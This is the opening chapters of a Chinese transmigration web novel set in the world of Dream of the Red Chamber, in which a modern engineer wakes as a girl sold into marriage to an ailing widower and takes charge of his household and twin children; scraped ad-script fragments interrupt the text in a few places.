《[红楼]穿书靠当神医逆天改剧情》 1. 闭眼离故土 白露眼睛还没睁开,就听到耳边传来细细碎碎的哭声。 是谁在她身边哭啊? “妈?” 这虚弱嘶哑的声音一冒出来,那哭声瞬间止住,可下一秒就哭得更厉害了。 “好姑娘,你可终于醒了。” 这声音?不对劲? 白鹭挣扎着睁开眼睛,却发现屋子里灯也没开。来不及细想又是哪里的电路短路了还是怎么回事,只下意识朝身边正哭着的人看去。 房间里暗沉沉的,看不清床边人的脸,但看身形瘦瘦小小,不是她那强壮能干的妈。 也是,她还在外派,就算生了病,家里人也不可能那么快就从国内赶过来。 所以这是谁?她在哪?她怎么了? 白露努力回想,她还记得今天的工程任务已经结束,她应该是跟着同事们一起坐车回基地才对。 等等! 基地! 她们并没有回到基地,因为她们在半路上就碰到了当地武-装-叛-乱分子! 密集的枪声,还有土炮!她们的车上肯定挂了红旗,但袭击并没有停止,那伙人八成就是看准了想来绑人要赎金的! 所以她们被绑架了吗? 白露心里有些慌,但悄悄动动手脚,却发现自己并没有被绑住。 就说嘛。 白露心里松了一口气,她可能是受了点伤,但国家实力摆在那里,怎么可能真让她们被绑架。就算倒霉过了头,这会儿肯定也是已经把她们从坏蛋手里抢回来了。 她们那里的驻外条件自然比不上在国内,偶尔断水断电也不稀奇。 白露自以为弄清楚现在的了情况,见身边这个不太熟悉的同事还在为她担心,于是哑着嗓子安慰道:“我没事了,你别担心。对了,有水吗?” “有!有有有!” 一碗水很快就被送到了白露嘴边。 可怎么是碗呢?基地医疗室里什么时候不用纸杯改用碗了? 白露还在这纠结这些小事,就听旁边人细声细气地说道:“姑娘,经历了这么一遭,以后可别再干傻事了。 你生得这副花容月貌,还学了妈娘家家传的好本事,从小到大家里人哪个不疼你,就是走出去,邻居们见了也是个个都夸。 你心气高,自然也是有的。然而你想想,咱们这样的人家,哪里就真的敢妄图攀龙附凤呢? 姑娘年纪小爱俏,想学那戏文里找个年轻的读书郎君,日后跟着挣一个凤冠霞帔,这样的心思嫂子以前也有过。 可人活在世,不能一辈子做梦啊。 你觉得林老爷不好,却没想想眼前的实惠。那林老爷年纪虽大了点,可到底很有些家底。你虽是去冲喜,但也是明媒正娶的继室夫人,就算是原配留下的两个小的不也一样要叫你一声太太,谁敢看轻了你去? 这可是打着灯笼都找不着的好姻缘。姑娘,你就听嫂子我一句劝,收收心,好好嫁过去过日子吧……” 一句接一句的,听得白露头皮都炸麻了。 这都是什么跟什么啊?!! 怎么眼睛一睁就要被送去给老男人冲喜了?!!! 救命? 救命!!! 这“嫂子”虽然守着她哭了半天。可话里话外都劝她安心给人当后老婆。 白露觉得这“嫂子”指望不上,于是试探着哼哼了两句:“妈……妈……” 嫂子叹了一口气,又啜泣两声,“姑娘,婆婆疼你,知道你爹和兄弟给你找了这么一门好亲事,想来也是高兴的。看见你这样寻死觅活,连上吊的事都做出来了,婆婆才真是九泉之下都要不安心了。” 真是见了鬼了。 嫂子哭,她也要哭了。 原来要卖了自己就是亲爹和亲兄弟的主意啊。哈,真是一点都不吃惊呢。 可怜的小姑娘,妈没了,爹和兄弟就只想着把人卖个有钱人。 白露在心里默默心疼着原身,转念一想,现在原主上吊没了,变成自己来了,又更是悲从中来,心疼起了倒霉的自己。 希望小姑娘下辈子别投胎在封建社会,就算不能上天当仙女,也要去一个强大有钱又安宁的国家自由自在地享受人生。 至于自己,白露默默想了一下爹妈兄弟姐妹们,觉得他们固然会伤心,可等看到了自己的高额死亡赔偿金,恐怕也要好努力才能不笑得太明显。 希望他们看在拿了那么多钱的份上能好好处理她的骨灰,带回国去找个山清水秀的地方埋了,别一把扬在鸟不拉屎的国外荒郊野岭里。 算了……现在想这些又有什么用呢? 她还是先打起精神来应付眼前的事吧。 小姑娘据说一时想不开气得上了吊。白露摸摸脖子,确实深深一到勒痕。可除了嗓子变哑,脑袋迷糊了一阵,白露很快就恢复了精神,能下床走动了。 房间不大,三开间的屋子,正厅里摆着桌椅,左边是卧室,右边是书房,拉通了也就十来米长。 出门一看,小小的院子几步就能走到门口。可还不等她迈出脚,嫂子就一把扶了过来。 “姑娘,这几天风大,爹让你好好在屋子里休息呢。” 明白了,这是要把她关起来,关到直接塞上花轿。 白露看了看院墙,不高,努努力应该能翻出去,可翻出去了,她下一步又该怎么办呢? 这鬼地方人生地不熟的,想去酒楼里端盘子打工都要担心会不会遇上黑心老板转手就把她给卖了。 转了一圈,暂时没想到什么好办法,白露又只能回屋子里去。 小小窄窄的地方,家具都只有那么几件。白露没心情欣赏古朴到极致的传统家具工艺,倒是对书房里挤在地上的三个大箱子有些兴趣。 依次打开一看,一个箱子里整整齐齐摆着书和纸笔、两套应该是用来针灸的长短粗细不一银针,还有一个看上去质感不错的乳白石捣药罐和一把小秤;一个箱子里一边放着一堆衣服,一边放了一些香囊、布老虎之类的小孩玩具,以及一个小匣子,里头是一把刻着“平安如意”的小银锁。 白露默不作声,倒是嫂子走过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来笑了笑,想活跃气氛。 “姑娘是爱读书的人,又跟着婆婆学了一手好针灸的本事。那林老爷身子不好,姑娘过去正好能帮着调理,可见这正是天造地设的姻缘。” 白露听明白了,感情这林老爷是想一口价买个私人医生加护士加保姆啊。 也不知道出了多少银子,能让她全家上下这么看重这笔生意。 再看第三个箱子,打开后入目一片金灿灿的大红。 绣着金线的嫁衣,再加上大大小小的金簪子金项圈金手镯,呵,真是好大的手笔。 嫂子眼里透着羡慕,“姑娘真是天大的福气。” 白露知道这婚事不是她做主定下的,如今这么一步不离地紧跟着自己,也不过是听家里男人的吩咐罢了。 可她自己都马上要被卖了,再让她好声好气,那也做不到。听嫂子这么一说,白露就忍不住隐晦地翻了个白眼,“这福气给你要不要啊。” 嫂子倒也不恼,“我粗枝大叶,笨手笨脚的,哪里比得上姑娘。姑娘,你看看这林老爷的心意,就知道人家是真心实意聘你过门的。 你不高兴,在家里发发脾气也就罢了,等嫁了过去,可千万别再使小性子了。 不说林老爷帮家里还了大笔银子,还帮忙在杭州老家给咱们家买了宅子盘了铺子,让你爹和兄弟还有侄儿能有个营生,就算是为了你自己后半辈子的日子好过,你也该和软些。 好好伺候林老爷,跟前头太太留下的少爷小姐处好了,争取自己再生养个一儿半女的,好姑娘,你享福的日子还在后头呢。 也别怪嫂子说些扫兴的话,家里疼你,自然怎么都由着你。可这嫁了人,就要看夫家的脸色过日子,你爹和兄弟马上又要带着一家子回杭州老家,你要是就这么硬挺着,惹恼了林老爷,真是连个撑腰的人都找不到啊!” 嫂子一个人拳拳心意,好像句句都是在为她打算。可白露捕捉到的重点却是这家用她还了债,还换了杭州的宅子铺子,前脚卖了她,后脚就要回老家当土财主包租公了! 现在说这么多,是怕到时候买家发现货不对板,千里迢迢跑到杭州去喊他们退货赔钱? 垃圾! 白露在心里狠狠唾弃这群卖女求荣的垃圾! 天很快就黑透了,嫂子终于舍得点亮油灯。 白露胡乱吃了半碗粗饭,心烦意乱地躺回床上思考接下来该怎么办。 想着想着,就睡着了。 第二天天还蒙蒙亮着,白露直接从梦里被人拉了起来。 “姑娘大喜啊!” 两个头戴大红花的婆子笑眯了眼睛按着她的肩膀给她擦脸。 一旁的嫂子也换了身喜气衣裳,正挡在门口,看样子是怕她发起狠来直接跑了。 “今儿是姑娘的好日子,姑娘该打扮起来上花轿了!” 诶不是! 等等?! 怎么一觉醒来就要上花轿了?!! 白露瞬间被吓得清醒过来。 感情原身那小姑娘是卡着时间上吊的呢! 2. 打得好算盘 围着她忙活的两个婆子可不是什么娇弱小妇人,有的是力气和手段。一身钢筋铁骨站得稳稳当当,两只宽大铁掌钳制得她欲动不能。 抬眼再看守在门口的嫂子和窗外隐隐的人影,敌我形势分明,白露冷哼一声,只能任由她们拉着自己洗漱梳妆。 两个婆子一看就是经验丰富,见惯了女孩们出嫁时依依不舍、撒泼打滚、哭天抢地、寻死觅活的作态,如今就算见她这样挎着一张脸不言不语,也没有露出半点异样,反而依旧喜气盈腮,各种恭喜讨巧的话是张嘴就来。 “哎哟,老婆子这些年做了多少媒,也没见过姑娘这般俊俏的新娘子呢。” “可不是,今儿见了姑娘,才算是开了眼了。”一个婆子一边抓着白鹿的手往她腕子上套金镯子,一边赞美那沉甸甸的心意,“瞧这足金的头面,岂是小门小户能拿得出手的?” 婆子们在耳边叽叽喳喳,外面的鞭炮也噼里啪啦地响了起来。 屋里屋外闹成一片,白露却只当没听见。 她还在沉浸式地思考自己这会儿该怎么办。 跑路? 不现实。且不说她能跑到哪里去?现在屋子里围着婆子,门口站着嫂子,卖了她的爹和兄弟估计正在大门口守着要把这桩生意落实。 就算她侥幸突出重围,可黑心爹和兄弟只要大喊一声“我家丫头疯了,大家伙帮帮忙拦住她”,周围邻居和大街小巷的路人恐怕就会瞬间疯了一样冲上来吃瓜,七手八脚齐心协力把她这个“疯女人”拖回家里关着或者直接塞上花轿。 那就坐以待毙? 白露不想认命嫁给老头子当三位一体工具人,可想来想去也想不出个好办法。 这家里没有她的立锥之地,说不定走出这个小院,反而能有机会闯出一片海阔天空? 白露看着镜子里模糊的人影,只能这样苦中作乐。 折腾了半天,大概是时候到了。 白露被两个婆子一左一右地架住胳膊提了起来往门口带。 几步路出了小院儿,就听嫂子说:“姑娘,你兄弟和侄儿来送你出门子了。” “新娘子!新娘子!”听声音,他她这便宜侄子大概还是个个头还没她腿高的小鬼。 也不知他爹妈平时私下嘀咕了些什么,这会儿一张嘴就是“姑妈要去有钱人家享福喽!” 姑妈不是要去有钱人家享福,是你爹妈卖了姑妈才要带着你回杭州享福。 一想到这,白露心里顿时气不打一处来。尊老爱幼什么的立刻被抛在脑后,恨不得狠狠扯着这小鬼的脸皮重重捶他几拳。 小鬼很快就被捂住了嘴,因为小鬼他爹要发话了。 男人一张嘴,话还没说先咳嗽了两声。 “咳咳。小妹,今天是你出门的好日子。你这一去,必定要好好听你嫂子这段时日的教诲,不可肆意胡闹,不可怠惰散漫,不可贪慕虚荣,不可放纵享乐,需得谨守妇德,上侍夫婿,下抚子女,勤俭持家,方不至于污我赵家名声。” 这男人啊,真是一日当爹,就想处处当爹。 仗着自己蒙着盖头,白露一个人表情乱飞。歪嘴斜眼无声“啧啧”,学着“方不至于污我赵家名声”,然后心底大大“呸”了一声。 “今天的风有些喧嚣啊。”白露低头玩着自己的手指甲,“说完了就赶紧回屋躺着吧,好容易卖了个妹子能拿钱享福,再吹坏了身子花起钱来,可没有第二个妹子能让再卖一回了。” 白露话音一落,四下一片寂。当真只有风摇起树枝,吹出哗啦哗啦的声音。 “哎哟!”一个喜婆提高了声调,“姑娘这是关心自家兄弟,心里又舍不得,故意要说这些话好叫人心疼呢!” “是呢!”另一个婆子赶紧帮腔,“寻常性子弱的姑娘就只知道哭,偏咱们姑娘是女中豪杰,才不学那些抹眼淌泪的,天大的事情都稳得住,以后这日子一定能过得红红火火!” 所有人都迅速捡起脸上的面具,气氛又重新活跃起来。 白露被扶着到了正堂前拜别亲爹。 亲爹自然又是一阵爹爹不休。 好容易爹完了,白露才被转手交到了另一个人手里。 隔着红布看不清人脸,但这么近的距离,足够白露闻见对面传来的浓浓药罐子味。 药罐子林老头闷闷地咳,跟着出来的细狗菜菜地咳。 白露天马行空地放飞自我,觉得她不应该在这里,两位病弱大兄弟才应该姻缘一线牵一起。 别人夫妻对拜,他俩兄弟对咳。 这病气对冲,说不定真能喜上加喜! 到时候细狗也不必话里话外羡慕她有好日子过,自己就能跟着老头吃香喝辣,穿金戴银。 可惜,实在是太可惜了。 这么有创意的策划,注定不能被这个时代的庸人理解。 白露胡思乱想间,流程已经飞快走完。 她被扶上小轿,在一片锣鼓喧天中,摇摇晃晃的从一个屋子被送进了另一个屋子。 屋子里安安静静,没有闹洞房的亲朋好友左邻右舍,只有几个屏气凝神的丫鬟婆子。 白露初来乍到却不客气,抬手就扯了盖头。 “太太!”一个婆子惊叫起来,“太太可是不懂这规矩,如今还没见过老爷,太太怎么自己就掀了盖头……” “怎么?老爷里里外外马上马下劳累了一天,我这新娘子都体贴老爷的身子,你老人家倒是还想押着老爷来跟太太我圆房不成? 你这样狠心,是巴不得老爷不累出病来?难不成你就是打着这样的主意,好拿捏这个家里?又或者,你已经勾连好了什么外人,只等老爷眼一闭?” 白露面子工程做得到位,声音温温柔柔,脸上带着笑影。 可这话却直往人心窝子戳。 那婆子知道新夫人不过是破落户里出来的姑娘,家里欠了一屁股债,穷得揭不开锅了,求爹爹告奶奶地费了好大劲才找了门路把自家姑娘卖了个好价钱,于是心里自然生了些心思,思量着欺负这新夫人人生地不熟,没见过大家世面,要找机会压压她的气焰。 机会来的这样快,婆子一头撞上去,却是撞到铁板上了。 三口又大又沉的黑锅招呼都不打一声就往脑袋上扣,婆子就算头再铁也顶不住这样的罪名,当下腿一软就跪倒在地,支支吾吾地想要描补。 “这,我……” 白露抬抬下巴,“出去罢。” 那婆子还想再说两句,可白露却不理她,只左右瞧了瞧两个年轻的丫鬟。 “魏妈妈,如今天晚了,你老该去看着哥儿姐儿睡觉了。”两个丫鬟一起动手,拥着婆子就利索送出了门。 见她们行动迅速,白露微微一笑。 果然,再是不起眼的丫鬟婆子又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如何,谁还没颗上进心?谁还不想努力了? 送走了魏妈妈,两个丫鬟再进屋时,手里就捧了热水。 白露满意地点点头,一点不留念地把浑身上下的金子摘了个干净。 就像她想的那样,老头子根本没来烦她,只派了管家来请她先安心休息,有什么话明日再说不迟。 这还像个人。 白露一夜胡思乱想,第二天起床时依然心烦意乱,完全没个好脸色。 两个丫鬟小心觑着她的表情,更是一句话不敢多说了。 等白鹿洗过脸,想起来问她们两个的名字。两个丫鬟才低眉顺眼地小声说道:“奴婢们都是打小就进了府里,名字还是当年老爷取得,叫兰叶/秋桂。” 兰叶春葳蕤,桂华秋皎洁。 所以这里也有张九龄的诗吗? 她是到了晚唐?可千万别碰上五代十国那样的乱世啊! 宋朝还行,大城市里的日子还能过。靖康之前就很好,要是真倒霉碰上的金军南下的时候,那得抓紧时间也躲去江南才行…… 这会儿突然问如今是什么朝代,是哪个皇帝当家也太怪了,还是之后再想办法打探吧。 换了衣服喝了杯水,白露饭都没吃就先被引着去了老爷住的前院。 进门就是一股药味,再看老头子形销骨立的样子,白露是真不好说这人还能活多久。 不过病是他自己生的,到时候可别怪她没给他一冲冲好啊。 “夫人,咳咳,坐。” 乍一看倒是个客气人。 白露皱着眉坐到一旁,“可用过饭了?药喝了没有?” “多谢,咳咳,夫人,咳咳咳……” 这一句三喘的,说的听的哪个不累。 白露挥挥手让他别说了,转而看向一旁安静立着随时准备端茶拍背叫人帮忙请大夫的长随。 “老爷身子不痛快,有什么事你来说。” “啊?是。”长没料到新夫人是这么个爽快性子,愣了一下才反应过来,“老爷今儿胃口不好,只略喝了两口粥。药已经吃了,午后和晚间还要再吃两道。” 白露点点头,“哥儿姐儿呢?怎么不见?也是身子不好?” 这魏妈妈!还真指望着把着哥儿姐儿在内宅里充老大不成?! 常随心里叫苦,面上却还是得想办法解释一二,“哥儿姐儿一切都好,就是这几天家里忙着迎太太过门,哥儿姐儿跟着高兴,许是闹腾得累了些……” “不是生病了就好。”白露自己都还爱睡懒觉,哪里想过挑剔小孩跟着早起,“所以哥儿姐儿都多大了?平时在哪里用饭?是去外面读书还是请先生到家里来?” “咱们哥儿姐儿是一胎生的,如今都是五岁了。因为年纪还小,所以平日里各自在屋子里用了饭才出来。白日里都跟着老爷在书房里念书启蒙,近来老爷身子不爽,正打算请个先生,只是还没打听见好的……” “原来老爷和哥儿姐儿都是有饭吃的。”白露又看回低头宽着茶杯的老头子,“可怜我这一大早醒过来就只能喝凉水,巴巴的饿着肚子一路着急忙慌地走过来,还以为全家都张着嘴等着我来洗手作羹汤呢。” 林老爷手一僵,一旁的长随吓得脖子一缩。 这这这,这跟之前打听的不一样啊? 不是说好了赵家姑娘最是医者仁心,温柔贤淑的吗? 3. 出城送老板 此刻屋子里坐着白露和林老爷,站着长随和兰叶、秋桂两个丫头。 五大五个人,却只有白露闲闲宽着茶碗的声音。 两个丫头低眉顺眼,只当自己不存在。一个长随屏气凝神,恨不得缩到地里去。 只有林老爷稍微有点动作,放下茶杯,飞快打量了她两眼。 白露不动如山,等着见招拆招。 林老爷看一眼白露,又收回视线盯着自己手里的茶杯。深吸一口气想缓缓呼出,却一不小心又咳嗽起来。 吓得一旁的长随立刻一个跨步上前帮忙顺气。 “老爷!” “无碍,咳咳,无碍。”挥退了长随,林老爷放下茶杯,仔细一思量后,忽然吩咐道,“这就去把哥儿姐儿叫来。” “是。”长随赶紧去门口吩咐外面守着的下人。 等待期间,白露昨夜见过的老管家先殷勤地叫人摆的饭。 熬得炸开了花的米粥、几个春卷一样的油炸小零食、一碗撒着葱花的荷包蛋,还有两个黄澄澄的大梨子,估计她要是开口想吃,旁边的小丫头就能立刻掏出一把小刀来表演一个现场削皮。 白露也不客气,慢条斯理地把桌上的早餐一扫而空,然后指了指其中一个梨。 小丫头立刻懂事地削了起来。 桌上大大小小的杯盘碗碟摆了一堆,实际能吃的东西捏起来也就那么一点。 要不是怕吓到弱不禁风的林老爷,白露甚至能捏起碗来表演一个一口干。 趁她擦嘴的功夫,昨晚打过照面的魏妈妈正好牵着两个小人走了进来。 “安哥儿,康姐儿,这便是太太呢。” 魏妈妈这会儿倒是殷勤,轻轻推了推两个小人示意他们上前行礼。 白露觉得她大概已经打听了刚才这屋子里的情形,知道一家之主的老爷也拿捏不了自己,所以暂时偃旗息鼓,准备先老实卖乖了。 “见过太太。” 两个小人乖乖地问好,一举一动一看就是懂礼貌的孩子。看向她的眼神里有好奇,也有些紧张,不过确实没有敌意,看来这府里就算有人有些小心思,但当爹的林老爷没让这些事影响到两个孩子。 再加上两个孩子,尤其是其中的小女孩,小小的那么乖一个,白露那被漫天风沙吹得硬邦邦的心顿时就软了下来。 “好,过来。”白露招招手,搂着小女孩左看右看,恨不得把人整个抱在怀里。 突然被人抱住,小女孩立刻就羞红了脸低下了头。 哎呀!怎么这么可爱啊! 白露喜笑颜开,“他们都叫你康姐儿,你的大名可取了,叫什么?” 小姑娘小小声地说:“已经有大名了,叫康泽。” “是个好名字呢。”说完白露又看向一旁的小男孩,端水嘛,总要努力端平才是。 “回太太,我大名叫安泽。” “不错,平平安安、健健康康最重要。”说到这,白露是真有些可怜这两个小孩子了。 当爹当妈的希望孩子们平平安安,健健康康,谁知道两个人一个早早去了,一个缠绵病榻,如今说句话都困难。 没妈的孩子已经像个草。 要是连爹也没了,更是连草都不如,一阵风来就把两个小人卷去天边。 白露依旧揽着小女孩,却扭头看向一旁含笑看着眼前母慈子孝的林老爷。 “您的心意,我明白了。”白露轻轻叹了口气,她自然不是圣人,做不到看见谁落难的日子不好过都会想上前拉一把。 可普通人难道就没有恻隐之心的吗? 而且她对这个世界一无所知,正好需要一个能安心活动的个人基地。 林家给她提供生活庇护,她照料两个小孩长大,也算是公平交易了。 白露又跟两个小孩说了几句话,然后就让他们先自己去书房看书。 等孩子们走了,白露就想跟林老爷细细讨论一下合同细节,力求做到权责分明,互利互惠。 她还在这里思索,林老爷却先发话了。 “姑娘!”林老爷起身就是一个大礼。 不止白露吓了一跳,两边站着的长随和两个丫鬟一呆,下一秒立刻跟着跪在了地上。 “嗯?”白露连忙起身,“使不得使不得。您这是……唉,您也太客气了。” “姑娘!咳咳!” 白露还在琢磨林老爷对自己的称呼,见他又猛的咳嗽起来,只能抛开别的想法,赶紧把人扶回椅子上。 “我知道这般打算是委屈了姑娘的大好年华,只求姑娘看在去了的拙荆与令堂也算得上亲眷,大家说起来也是一家人的份上,厚待我两个可怜的孩子!” 什么叫“去了的拙荆与令堂也算得上亲眷,大家说起来也是一家人”?感情林家去了的太太跟原主亲妈是一表三千里的表亲?所以思来想去觉得她可托付才花大价钱买了她来给小孩当保姆? 白露眼睛一眯,懒得打哑谜,心里想的什么就直接问了出来。 林老爷倒也坦诚,“原也不知道咱们两家还连着亲。是那日媒人说起来令堂和拙荆祖上都是苏州人士,又是同姓,这是有缘。在下心中好奇,差人去贵府一问,才知道果真有这缘分。” 说到这里,林老爷又一拱手,“既是亲戚,又听闻姑娘贤淑的名声,再一打听,原来姑娘也自幼学了一手医术,在下便想,这是天不绝我林家之后啊!” 白露心情复杂,倒是理解古人这亲上加亲的思路,毕竟古人信息不通,圈子封闭,知根知底总比跟陌生人家结亲更有安全感。 可偏偏原生不乐意,悄悄地,孤零零地,就葬送了自己。 见她皱着眉,林老爷还以为白露是觉得为难,连忙解释道:“在下知道姑娘家传的医术只治小儿和妇人,并没有强求姑娘照看在下这破烂身子的意思。 当初与令尊也说好了,姑娘是可信可靠之人,盼姑娘能来家里支应门户。便是在下什么时候先去了,只求姑娘先别改嫁,看在彼此都是亲戚,在下又诚心奉上两千两银子及杭州的宅子铺面的份上,且照看两个孩子好好长大成人。 到时姑娘若再有打算,也尽请自便,家里必然厚礼奉上! 大恩大德,感激不尽!” 所以这林老爷也不是为老不尊想欺负年轻小姑娘,是实在走投无路了,又实在没有同族能够帮衬,才病急乱投医想出这么一个法子,找一个可靠的人托付两个孩子。 找来找去,找到了原主头上。 不仅舍得给钱,病成这样了还要撑着一口气亲自把人迎回家来以示尊重。 明媒正娶,是为了原主能有个“太太”身份,好合情合理地接管家业,抚养孩子。免得他不知什么时候腿一蹬,家里瞬间群龙无首,一时里里外外一起乱了起来,说不准就害了两个可怜的小家伙。 其实两千两白银就已经非常大方了,至于杭州的宅子铺子,大概是想把原主一家踢回老家,免得日后他们借原主之手插手林家家业? 要把这当成打工的话,老板算得上既给高管职位,又给丰厚薪水,既能包她一辈子铁饭碗,又愿意跳槽时送她天价大礼包,实在是够大方了。 白露以自己作为现代人打工人的眼光来看,觉得给谁打工不是打工啊,给谁打工不是拿青春拿时间换钱啊,这待遇真是不错的了。 就是不知道为什么,原主不乐意,甚至激烈反抗到宁愿一死了之。 等等,白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 露心里忽然一咯噔。 老天,原主不会是有个什么情投意合的青梅竹马,所以一听家里要把她拿去换钱才这么绝望吧? 但她转念一想,不管是不是,对一个对未来生活充满向往的年轻小姑娘来说,家里人不顾她的意愿,为了钱就葬送她大好的青春年华,让她为根本不熟悉的陌生人的孩子操心劳力,这大概真的很残忍、很自私。 在两千两白银和杭州的宅子铺面面前,从前所谓的疼爱啊偏宠啊,都是假的。 小姑娘伤心绝望,却又无可奈何,所以才会干脆一死了之。 白露闭上眼睛反复深呼吸,只能在心里祝原主小姑娘若有来生,能一切都好。 至于她自己,她要在这个时代好好地活下去。 想清楚后,白露睁开眼睛看向林老爷,“空口无凭,我们还是在正式立一份字据,也好彼此放心不是?” “姑娘当真胸有丘壑,更是个爽快人。” 不用林老爷吩咐,一旁的长随早就端来了纸笔。 条条款款,白纸黑字已经写得清清楚楚,就等这两个人签字按手印了。 白露一字不漏地仔细看好了合同,确认没有问题才谨慎落笔按了手印。 这林老爷倒也确实大方,见事情谈妥了,又才补充道:“如今四海承平,只是我林家小门小户,日后若遭意外,恐独木难支。所以保险起见,在下另托可信之人代存了一笔银子,收据和信物就放在这个黑色匣子里,姑娘千万收好,不到万不得已,切记不可轻易动用!至于这个红色匣子,则是在下单为姑娘准备的谢礼。” 这人为了两个孩子还真是用心良苦。 白露郑重地收好了两个匣子,却又忍不住好奇,“既然能托付后备用银,何不将两个孩子一并托付给那人?也免得我这个继母知人知面不知心,等哪天露出了真面目,倒害苦了两个孩子。” “这个嘛。”林老爷此刻倒悠然起来,“在下所托之人虽人品可靠,可实在不适合照看两个孩子。至于姑娘方才所说之事,若日后当真如此,想来他也不至于袖手旁观。” “原来还有后手啊。” “哈哈哈,咳咳。”林老爷摇了摇头,“说不上什么后手,只不过姑娘与他都是心善可信之人,可怜两个孩子罢了。” 这是白露到林府的第一天。 三月之后,林府里里外外的喜庆红绸就被通通扯下收了起来,换成了满眼哀哀白布。 白露披麻戴孝地立在灵堂前,诚心诚意地给林老板送上一炷香。 这时候的人都讲究叶落归根。但林老爷虽然祖籍扬州,可他家这一只几代以前便迁入了京城,早就在郊外安排好了祖坟。 于是白露也不用带着两个小孩子千里迢迢奔赴扬州,停灵之日一过,将林老爷的棺椁送进郊外安葬就是了。 婚丧大事自然是折腾人的,这时候的人又尤其重孝道,一应礼节尤其繁琐辛苦。就算她家已经尽量低调,也耐不住两个孩子实在年幼经不住折腾。 安葬了老板,白露见两个孩子站都要站不稳了,索性带着一家老老小小在附近的道观里住了一晚,第二日才回城里去。 进了城门,才走不远就听到前面又传来震天响的哀乐声念经声和哭声。 马车外面的管家忽然敲了敲窗户,“太太,前边是国公爷家在出殡,咱们绕道吧?” “好,别去扰了人家。” 也不知是哪家国公,总归是她们惹不起的。 白露正这么想着,就听得管家一句自言自语顺着风钻进车里。 “世袭宁国公,御前龙禁卫,啧啧,真是好大的气派!” 宁国公?龙禁卫! 秦可卿?林妹妹! 4. 大家都姓林 马车踢踢踏踏地绕了道,大路上吹吹打打凄凄切切的送葬声渐渐远了。 白露手里轻轻拍着身边的小女孩,心思却跟着不知道已经走到哪里去了的宁国公府大部队飘了出去。 她很想把管家叫来好好问问他刚才是不是真的认出了宁国公府的人?问问这宁国公家是不是姓贾?如今的当家人是不是单名一个珍字?他家另外一房荣国公府里是不是有一个衔玉而生的公子? 我的天哪! 白露恍恍惚惚地回了府里。 宁国公,龙禁尉。 这样的搭配十有八九就该是《红楼梦》了。 靠着勉强还能运作的一半脑子安排了两个孩子去洗漱休息,白露自己也回了屋子换了一身家常衣裳。 至于另一半脑子,还在《红楼梦》里出不来呢。 她还记得自己刚上小学的时候就看过一版插图拼音版本的幼儿版《红楼梦》;再大一点时,又看过删节缩略的青少版;等上了初中,“黛玉初进荣国府”可是老师重点讲解的课文;初中哪一年的寒假里,语文老师还特意布置同学们通看红楼全书,看完了还要把每一章的章节梗概写出来。 如今过去了这么多年,些许细节虽已经忘了。但“秦可卿死封龙禁尉,王熙凤协理宁国府”这样的重点章节人物高光时刻,她还是记得清楚的。 白露坐到窗前,端起兰叶倒上的热茶却也不喝。 还记得秦可卿去世这段剧情颇有些说法。什么天香楼之类,后人还为此各种考据论证,最后竟然得出结论说秦可卿乃康熙废太子遗落在外的女儿? 是不是真的她不知道,从前当个奇闻听一听,眼下真的穿进了书里,晃眼一看,周围男人倒是没有剃个半秃,不然就太辣眼睛了。 抛开这个不说,秦可卿之死不仅引出王熙凤协理宁国府,后面还有贾宝玉路谒北静王。 哦对了!铁槛寺和馒头庵!也是这时候引出来的故事。 所以…… “太太?太太?” “嗯?”白露一回神,发现是秋桂在叫自己,“怎么了?” “魏妈妈来了说有事,回禀太太呢” “那还不快请进来。”白露一笑,“这个时候,能有什么事?” 其实也没什么大事。 魏妈妈近来见了礼,不敢坐秋桂端来的绣凳,只端了一把小木凳挨在白露身边坐下了。 “哥儿姐儿都梳洗过了,这会子精神还好,也不愿去休息,一起在屋子里念书。” 白露点了点头,“知道了,你也辛苦了。” 魏妈妈赶紧道:“不敢,不敢。” 虽然一开始是有压压这位新太太气焰的想法,可一见这太太年纪虽轻,气势却不短,脑子清醒,口齿伶俐,更重要的是,老爷临去前把府里几乎所有的产业都交到了她手里,魏妈妈就知道自己该摆出什么样一副态度了。 趁着忙完了老爷的葬礼,她赶紧过来投诚。 按说她摆出这副服软投靠的态度,太太就该顺势连敲带打说上两句,然后接下她的投靠。 谁知道白露就那么看着她也不说话。 魏妈妈这一下子就尴尬了起来。 来都来了,这投靠的意思怎么着也得让太太知道啊。 见白露就是安坐不动,魏妈妈只好自己先起个头。 “这里没有外人,我与太太说两句心里话,还望太太莫笑话才是。 先前有眼不识泰山,谁知道太太母亲和先太太竟然是一个老祖宗出来的后人。我是跟着先太太到这家里来,难怪当日一见太太,心里就觉得格外亲近呢。” 亲不亲近的再说吧。 就这么一座宅子,就这么十几口人。虽说有人的地方就有江湖,可为了宅院里那三瓜两枣的互相拉帮结派没事找事,扯后腿使绊子,耍心眼弄诡计,这样的日子过起来没得叫人恶心。 宫斗剧宅斗剧什么的她也爱看,可前提是自己别变成唱戏的。 打工打久了,白露不怕加班赶文件,猜领导心思才是最烦人最消磨人的差事。 白露不想去猜人心思,也不愿为难他人。 这段时日魏妈妈的各种示好她都看在眼里,如今说这么些话,大概也是想服个软,怕自己随便挑个什么错就打发了她。 真要是打发了他,再找个靠谱的保姆也不是件容易的事。 于是白露就直说了:“谁不想安安心心消消停停的过清净日子呢,你照顾好少爷小姐,对得起先太太,自然也就是对得起我了。 你既然对得起先太太和我,先太太自然保佑你平安,我自然也不会辜负了你一番辛苦。” “是是!”见白露没有拿自己开刀立威的意思,魏妈妈顿时心中一喜。 “去吧。” 等魏妈妈走了,白露敲敲脑袋,“刚刚的剧情想到哪儿了?” 铁槛寺和馒头庵,凤姐掺和了一桩官司,收了几千两银子,就是害苦了一对苦命鸳鸯。 然后是秦钟和智能儿? 想到这里白露不禁撇撇嘴。 都说《红楼梦》写尽世情人性,后人立场不同,喜恶不一,对书里各个角色的解读也千变万化。 她不是什么红学大家,仅从普通读者的眼光来看,她对秦钟这个人物是真喜欢不起来。 去学堂不好好读书,跟长得漂亮的同学眉来眼去,给姐姐送葬的路上对村里的小姑娘指指点点,还能跟小尼姑勾勾搭搭。 什么人啊真是! 她不懂,她不理解。 于是白露丢开秦钟,继续去回忆别的剧情。 